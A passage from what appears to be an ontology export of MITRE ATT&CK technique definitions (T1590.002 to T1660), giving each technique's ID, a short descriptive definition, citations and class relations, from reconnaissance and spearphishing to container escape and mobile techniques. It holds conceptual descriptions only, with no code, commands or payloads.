attack-id: T1590.002
definition: Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)
subclass of: T1590

Network Trust Dependencies
type: Class
attack-id: T1590.003
definition: Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.
subclass of: T1590

Network Topology
type: Class
attack-id: T1590.004
definition: Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.
subclass of: T1590

IP Addresses
type: Class
attack-id: T1590.005
definition: Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.
subclass of: T1590

Network Security Appliances
type: Class
attack-id: T1590.006
definition: Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.
subclass of: T1590

Determine Physical Locations
type: Class
attack-id: T1591.001
definition: Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.
subclass of: T1591

Business Relationships
type: Class
attack-id: T1591.002
definition: Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.
subclass of: T1591

Identify Business Tempo
type: Class
attack-id: T1591.003
definition: Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources.
subclass of: T1591

Identify Roles
type: Class
attack-id: T1591.004
definition: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.
subclass of: T1591

Hardware
type: Class
attack-id: T1592.001
definition: Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).
subclass of: T1592

Software
type: Class
attack-id: T1592.002
definition: Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).
subclass of: T1592

Firmware
type: Class
attack-id: T1592.003
definition: Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).
subclass of: T1592

Client Configurations
type: Class
attack-id: T1592.004
definition: Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.
subclass of: T1592

Social Media
type: Class
attack-id: T1593.001
definition: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.
subclass of: T1593

Search Engines
type: Class
attack-id: T1593.002
definition: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)
subclass of: T1593

Code Repositories
type: Class
attack-id: T1593.003
definition: Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.
subclass of: T1593

Search Victim-Owned Websites
type: Class
attack-id: T1594
definition: Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)
subclass of: ReconnaissanceTechnique

Scanning IP Blocks
type: Class
attack-id: T1595.001
definition: Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.
subclass of: T1595

Vulnerability Scanning
type: Class
attack-id: T1595.002
definition: Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.
subclass of: T1595

Wordlist Scanning
type: Class
attack-id: T1595.003
definition: Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).
subclass of: T1595

DNS/Passive DNS
type: Class
attack-id: T1596.001
definition: Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.
subclass of: T1596

WHOIS
type: Class
attack-id: T1596.002
definition: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)
subclass of: T1596

Digital Certificates
type: Class
attack-id: T1596.003
definition: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.
subclass of: T1596

CDNs
type: Class
attack-id: T1596.004
definition: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.
subclass of: T1596

Scan Databases
type: Class
attack-id: T1596.005
definition: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)
subclass of: T1596

Threat Intel Vendors
type: Class
attack-id: T1597.001
definition: Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)
subclass of: T1597

Purchase Technical Data
type: Class
attack-id: T1597.002
definition: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.
subclass of: T1597

Spearphishing Service
type: Class
attack-id: T1598.001
definition: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.
subclass of: T1598

Spearphishing Attachment
type: Class
attack-id: T1598.002
definition: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.
subclass of: T1598

Spearphishing Link
type: Class
attack-id: T1598.003
definition: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.
subclass of: T1598

Spearphishing Voice
type: Class
attack-id: T1598.004
definition: Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.
subclass of: T1598

Network Address Translation Traversal
type: Class
attack-id: T1599.001
definition: Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.
subclass of: Network Boundary Bridging

Reduce Key Space
type: Class
attack-id: T1600.001
definition: Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)
subclass of: T1600

Disable Crypto Hardware
type: Class
attack-id: T1600.002
definition: Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.
subclass of: T1600

Patch System Image
type: Class
attack-id: T1601.001
definition: Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.
subclass of: T1601

Downgrade System Image
type: Class
attack-id: T1601.002
definition: Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)
subclass of: T1601

SNMP (MIB Dump)
type: Class
attack-id: T1602.001
definition: Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).
subclass of: T1602

Network Device Configuration Dump
type: Class
attack-id: T1602.002
definition: Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.
subclass of: T1602

Scheduled Task/Job - ATTACK Mobile
type: Class
attack-id: T1603
definition: Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval.
subclass of: ATTACKMobileExecutionTechnique
subclass of: ATTACKMobilePersistenceTechnique
preferred label: Scheduled Task/Job

Proxy Through Victim - ATTACK Mobile
type: Class
attack-id: T1604
definition: Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot)
subclass of: ATTACKMobileDefenseEvasionTechnique
preferred label: Proxy Through Victim

Command-Line Interface - ATTACK Mobile
type: Class
attack-id: T1605
definition: Adversaries may use built-in command-line interfaces to interact with the device and execute commands. Android provides a bash shell that can be interacted with over the Android Debug Bridge (ADB) or programmatically using Java’s `Runtime` package. On iOS, adversaries can interact with the underlying runtime shell if the device has been jailbroken.
comment: This technique has been revoked by T1623.001
subclass of: ATTACKMobileExecutionTechnique
deprecated: true
preferred label: Command-Line Interface

Web Cookies
type: Class
attack-id: T1606.001
definition: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.
subclass of: T1606

SAML Tokens
type: Class
attack-id: T1606.002
definition: An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)
subclass of: T1606

Upload Malware
type: Class
attack-id: T1608.001
definition: Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.
subclass of: T1608

Upload Tool
type: Class
attack-id: T1608.002
definition: Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.
subclass of: T1608

Install Digital Certificate
type: Class
attack-id: T1608.003
definition: Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)
subclass of: T1608

Drive-by Target
type: Class
attack-id: T1608.004
definition: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).
subclass of: T1608

Link Target
type: Class
attack-id: T1608.005
definition: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link.
subclass of: T1608

SEO Poisoning
type: Class
attack-id: T1608.006
definition: Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)
subclass of: T1608

Container Administration Command
type: Class
attack-id: T1609
definition: Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)
subclass of: ExecutionTechnique

Deploy Container
type: Class
attack-id: T1610
definition: Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)
subclass of: DefenseEvasionTechnique
subclass of: ExecutionTechnique

Escape to Host
type: Class
attack-id: T1611
definition: Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)
subclass of: PrivilegeEscalationTechnique

Build Image on Host
type: Class
attack-id: T1612
definition: Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)
subclass of: DefenseEvasionTechnique

Container and Resource Discovery
type: Class
attack-id: T1613
definition: Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.
subclass of: DiscoveryTechnique

System Language Discovery
type: Class
type: NamedIndividual
attack-id: T1614.001
definition: Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)
queries: SystemConfigurationDatabase
subclass of: Restriction
  on property: queries
  some values from: SystemConfigurationDatabase
subclass of: System Location Discovery

Group Policy Discovery
type: Class
type: NamedIndividual
attack-id: T1615
definition: Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
reads: GroupPolicy
subclass of: Restriction
  on property: reads
  some values from: GroupPolicy
subclass of: DiscoveryTechnique

Call Control - ATTACK Mobile
type: Class
attack-id: T1616
definition: Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication.
subclass of: ATTACKMobileCollectionTechnique
subclass of: ATTACKMobileCommandAndControlTechnique
subclass of: ATTACKMobileImpactTechnique
preferred label: Call Control

Hooking - ATTACK Mobile
type: Class
attack-id: T1617
definition: Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.
subclass of: ATTACKMobileDefenseEvasionTechnique
preferred label: Hooking

User Evasion - ATTACK Mobile
type: Class
attack-id: T1618
definition: Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device.
comment: This technique has been revoked by T1628.002
subclass of: ATTACKMobileDefenseEvasionTechnique
deprecated: true
preferred label: User Evasion

Cloud Storage Object Discovery
type: Class
type: NamedIndividual
accesses: CloudStorage
attack-id: T1619
definition: Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.
subclass of: Restriction
  on property: accesses
  some values from: CloudStorage
subclass of: DiscoveryTechnique

Reflective Code Loading
type: Class
type: NamedIndividual
attack-id: T1620
definition: Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129)).
modifies: ProcessSegment
subclass of: Restriction
  on property: modifies
  some values from: ProcessSegment
subclass of: DefenseEvasionTechnique

Multi-Factor Authentication Request Generation
type: Class
attack-id: T1621
definition: Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.
subclass of: CredentialAccessTechnique

Debugger Evasion
type: Class
attack-id: T1622
definition: Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)
subclass of: DefenseEvasionTechnique
subclass of: DiscoveryTechnique

Conceal Multimedia Files - ATTACK Mobile
type: Class
attack-id: T1628.003
definition: Adversaries may attempt to hide multimedia files from the user. By doing so, adversaries may conceal captured files, such as pictures, videos and/or screenshots, then later exfiltrate those files.
subclass of: T1628
preferred label: Conceal Multimedia Files

Prevent Application Removal - ATTACK Mobile
type: Class
attack-id: T1629.001
definition: Adversaries may abuse the Android device administration API to prevent the user from uninstalling a target application. In earlier versions of Android, device administrator applications needed their administration capabilities explicitly deactivated by the user before the application could be uninstalled. This was later updated so the user could deactivate and uninstall the administrator application in one step.
subclass of: T1629
preferred label: Prevent Application Removal

Disable or Modify Tools - ATTACK Mobile
type: Class
attack-id: T1629.003
definition: Adversaries may disable security tools to avoid potential detection of their tools and activities. This can take the form of disabling security software, modifying SELinux configuration, or other methods to interfere with security tools scanning or reporting information. This is typically done by abusing device administrator permissions or using system exploits to gain root access to the device to modify protected system files.
subclass of: T1629
preferred label: Disable or Modify Tools

Exfiltration Over Unencrypted Non-C2 Protocol - ATTACK Mobile
type: Class
attack-id: T1639.001
definition: Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
subclass of: Exfiltration Over Alternative Protocol - ATTACK Mobile
preferred label: Exfiltration Over Unencrypted Non-C2 Protocol

Account Access Removal - ATTACK Mobile
type: Class
attack-id: T1640
definition: Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: credentials changed) to remove access to accounts.
subclass of: ATTACKMobileImpactTechnique
preferred label: Account Access Removal

Endpoint Denial of Service - ATTACK Mobile
type: Class
attack-id: T1642
definition: Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.
subclass of: ATTACKMobileImpactTechnique
preferred label: Endpoint Denial of Service

Compromise Client Software Binary - ATTACK Mobile
type: Class
attack-id: T1645
definition: Adversaries may modify system software binaries to establish persistent access to devices. System software binaries are used by the underlying operating system and users over adb or terminal emulators.
subclass of: ATTACKMobilePersistenceTechnique
preferred label: Compromise Client Software Binary

Exfiltration Over C2 Channel - ATTACK Mobile
type: Class
attack-id: T1646
definition: Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.
subclass of: ATTACKMobileExfiltrationTechnique
preferred label: Exfiltration Over C2 Channel

Serverless Execution
type: Class
attack-id: T1648
definition: Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers.
subclass of: ExecutionTechnique

Steal or Forge Authentication Certificates
type: Class
attack-id: T1649
definition: Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)
subclass of: CredentialAccessTechnique

Acquire Access
type: Class
attack-id: T1650
definition: Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)
subclass of: ResourceDevelopmentTechnique

Cloud Administration Command
type: Class
attack-id: T1651
definition: Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)
subclass of: ExecutionTechnique

Device Driver Discovery
type: Class
attack-id: T1652
definition: Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)).
subclass of: DiscoveryTechnique

Power Settings
type: Class
attack-id: T1653
definition: Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)
subclass of: PersistenceTechnique

Log Enumeration
type: Class
attack-id: T1654
definition: Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).
subclass of: DiscoveryTechnique

Match Legitimate Name or Location - ATTACK Mobile
type: Class
attack-id: T1655.001
definition: Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by giving artifacts the name and icon of a legitimate, trusted application (i.e., Settings), or using a package name that matches legitimate, trusted applications (i.e., `com.google.android.gm`).
subclass of: Masquerading - ATTACK Mobile
preferred label: Match Legitimate Name or Location

Impersonation
type: Class
attack-id: T1656
definition: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims.
subclass of: DefenseEvasionTechnique

Financial Theft
type: Class
attack-id: T1657
definition: Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) "pig butchering,"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin)
subclass of: ImpactTechnique

Exploitation for Client Execution - ATTACK Mobile
type: Class
attack-id: T1658
definition: Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to insecure coding practices that can lead to unanticipated behavior. Adversaries may take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
subclass of: ATTACKMobileExecutionTechnique
preferred label: Exploitation for Client Execution

Content Injection
type: Class
attack-id: T1659
definition: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)
subclass of: CommandAndControlTechnique
subclass of: InitialAccessTechnique

Phishing - ATTACK Mobile
type: Class
attack-id: T1660
